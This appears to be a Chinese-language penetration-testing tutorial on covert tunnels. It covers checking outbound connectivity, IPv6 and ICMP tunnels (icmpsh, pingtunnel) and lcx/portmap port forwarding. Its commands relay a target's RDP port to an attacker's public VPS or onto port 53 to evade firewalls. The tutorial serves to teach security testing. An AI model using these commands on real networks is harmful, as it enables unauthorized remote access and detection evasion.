内网渗透之隐藏通信隧道技术

隐藏通信隧道技术

    • 一、隐藏通信隧道技术基础知识
      • 1.1隐藏通信隧道概述
      • 1.2判断内网连通性
    • 二、网络层隧道协议
      • 2.1 IPV6隧道
      • 2.2 ICMP隧道
    • 三、传输层隧道技术
      • 3.1 lcx 端口转发
      • 3.2netcat
      • 3.3powercat

完成内网信息收集后,渗透测试人员需要判断流量是否进得去、出得来。

隐藏通信隧道技术通常用于在访问受限的网络环境中追踪数据流向和在非信任的网站中实现安全数据传输。

一、隐藏通信隧道技术基础知识

1.1隐藏通信隧道概述

什么是隧道?
这里的隧道,就是一种绕过端口屏蔽的通信方式。

常用的隧道列举:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

1.2判断内网连通性

判断内网的连通性是指判断机器能否上外网等。

需要综合各种协议(TCP、HTTP、DNS、ICMP等)和端口通信的情况。

常规允许流出端口 : 80、8080、443、53、110、123等。

1.2.1ICMP协议

ping 命令

1.2.2TCP协议
netcat 也就是nc

通过使用TCP或UDP协议的网络连接读写数据

命令: nc -nv IP port

nc -h

其他参数
[v1.12 NT http://eternallybored.org/misc/netcat/]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode

    -e prog         inbound program to exec [dangerous!!]
    -g gateway      source-routing hop point[s], up to 8
    -G num          source-routing pointer: 4, 8, 12, ...
    -h              this cruft
    -i secs         delay interval for lines sent, ports scanned
    -l              listen mode, for inbound connects
    -L              listen harder, re-listen on socket close
    -n              numeric-only IP addresses, no DNS
    -o file         hex dump of traffic
    -p port         local port number
    -r              randomize local and remote ports
    -s addr         local source address
    -t              answer TELNET negotiation
    -c              send CRLF instead of just LF
    -u              UDP mode
    -v              verbose [use twice to be more verbose]
    -w secs         timeout for connects and final net reads
    -z              zero-I/O mode [used for scanning]

port numbers can be individual or ranges: m-n [inclusive]

1.2.3HTTP协议

curl 是一个利用url规则在命令行下工作的综合文件传输工具,支持文件的上传下载。

命令:curl www.baidu.com 80

1.2.4 DNS协议
nslookupdig
命令:nslookup www.baidu.com

1.2.5 proxy

还有一种情况是流量不能直接流出,需要在内网中设置代理服务器,常见于通过企业办公网段上网的情景。

常用判断方法:

1、查看网络连接,看是否存在于其他机器8080(不绝对)等端口的连接。
2、查看内网中是否有主机名类似proxy的机器。
3、查看IE等浏览器的直接代理。
4、根据pac文件的路径(可能是本地路径,也可能是远程路径),将其下载下来查看。
5、执行curl命令确认
命令:curl www.baidu.com //不通
curl -x proxy -ip www.baidu.com //通

二、网络层隧道协议

在网络层中,两个常用的隧道协议是 IPV6ICMP

2.1 IPV6隧道

IPv6 是 Internet Protocol Version 6 的缩写,也被称为下一代互联网协议。

2.1.1 IPV6隧道技术简介

IPv6 隧道技术是指通过 IPv4 隧道传送 IPv6 数据报文的技术。为了在IPv4海洋中传递IPv6信息,可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中,使IPv6报文整体封装在IPv4数据报文中,使IPv6报文能够穿过IPv4海洋,到达另一个IPv6小岛。

工作过程:

1、节点A要向节点B发送IPv6报文,首先需要在节点A和节点B之间建立一条隧道
2、节点A将IPV6报文封装在以节点B的IPV4地址为目的地址,以自己的IPV4地址为源地址的IPV4报文中,并发往IPV4海洋。
3、在IPV4海洋中,这个报文和普通IPV4报文一样,经过IPV4的转发到达节点B。
4、节点B收到此报文之后,解除IPV4封装,取出其中的IPV6报文。

攻击者有时会通过恶意软件来配置允许进行IPv6通信 设备,以避开防火墙和入侵检测系统。有一点需要指出:即使设备支持IPv6,也可能无法正确分析封装了IPv6报文的IPv4数据包

配置隧道和自动隧道的主要区别是:只有在执行隧道功能的节点的IPv6地址是IPv4兼容地址时,自动隧道才是可行的。在为执行隧道功能的节点分配IP地址时,如果采用的是自动隧道方法,就不需要进行配置。

配置隧道方法则要求隧道末端节点使用其他机制来获得其IPv4地址,例如采用DHCP、人工配置或其他IPv4的配置机制。

支持IPv6的隧道工具有socat、6tunnel、nt6tunnel等。

2.2 ICMP隧道

ICMP协议没有端口。

最常见的ICMP消息为 ping 命令的回复,攻击者可以利用命令行得到比回复更多的 ICMP 请求。

在一些网络环境中,如果攻击者使用各类上层隧道(例如 HTTP 隧道、DNS隧道、常规正/反端口转发等)进行的操作都失败了,常常会通过 ping 命令远程访问计算机,尝试建立 ICMP 隧道。将 TCP/UDP 数据封装到 ICMP 的 ping 数据包中,从而穿透防火墙。

常用 ICMP 隧道工具: icmpsh , PingTunnel , icmptunnel , powershell icmp 等。

2.2.1 icmpsh工具

icmpsh 工具使用简单,便于“携带”(跨平台),运行时不需要管理员权限。杀软会报毒。

安装地址:https://github.com/inquisb/icmpsh

使用icmpsh需要安装python的impacket类库,以便对于各种协议进行访问。

apt-get install python-impacket

但是这里是为python3安装的,所以还得安装一个 pip2 ,

wget https://bootstrap.pypa.io/2.6/get-pip.py

python2 get-pip.py

pip2 -V

pip2 install impacket

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入如下命令来关闭本地系统的ICMP答应(如果要恢复系统答应,则设置为0),否则Shell的运行会不稳定.

命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1

如果上述操作没做,就会报错。
内网渗透之隐藏通信隧道技术_第1张图片

icmp基本命令

C:\Users\Administrator\Desktop>icmpsh.exe -H
unrecognized option --
icmpsh.exe [options] -t target
options:
  -t host            host ip address to send ping requests to
  -r                 send a single test icmp request and then quit
  -d milliseconds    delay between requests in milliseconds (default is 200)
  -o milliseconds    timeout in milliseconds
  -h                 this screen
  -b num             maximal number of blanks (unanswered icmp requests)
                     before quitting
  -s bytes           maximal data buffer size in bytes (default is 64 bytes)

In order to improve the speed, lower the delay (-d) between requests or
increase the size (-s) of the data buffer

2.2.2 pingtunnel

下载地址
https://github.com/esrrhs/pingtunnel/releases

https://github.com/esrrhs/pingtunnel

三、传输层隧道技术

传输层技术包括TCP隧道、UDP隧道和常规端口转发。

3.1 lcx 端口转发

lcx 是一个基于 socket 套接字实现的端口转发工具。

windwos版 lcx.exe

linux版 portmap

1、内网端口转发

  • 在目标机器上执行,将目标机器的指定端口转发到公网 vps 指定端口上。
lcx.exe -slave <公网主机IP地址> 4444 127.0.0.1 3389
  • 在公网机器上执行,将4444上监听的所有数据转发到本机 5555 端口上
lcx.exe -listen 4444 5555
./portmap -m 2 -p1 4444 -p2 5555

此时,攻击者用 mstsc 登录 公网IP+5555 即可登陆目标服务器3389

2、本地端口映射

如果目标服务器由于防火墙规则,部分端口(如 3389) 的数据无法通过防火墙,可以将目标服务器相应端口的数据传到防火墙允许的其他端口(如 53).在目标主机上执行如下命令。

lcx.exe -tran 53 <目标IP> 3389

3.2netcat

具体使用可以看这里

3.3powercat

powercat 可以说是 nc 的 powershell 版本。

你可能感兴趣的:(内网渗透)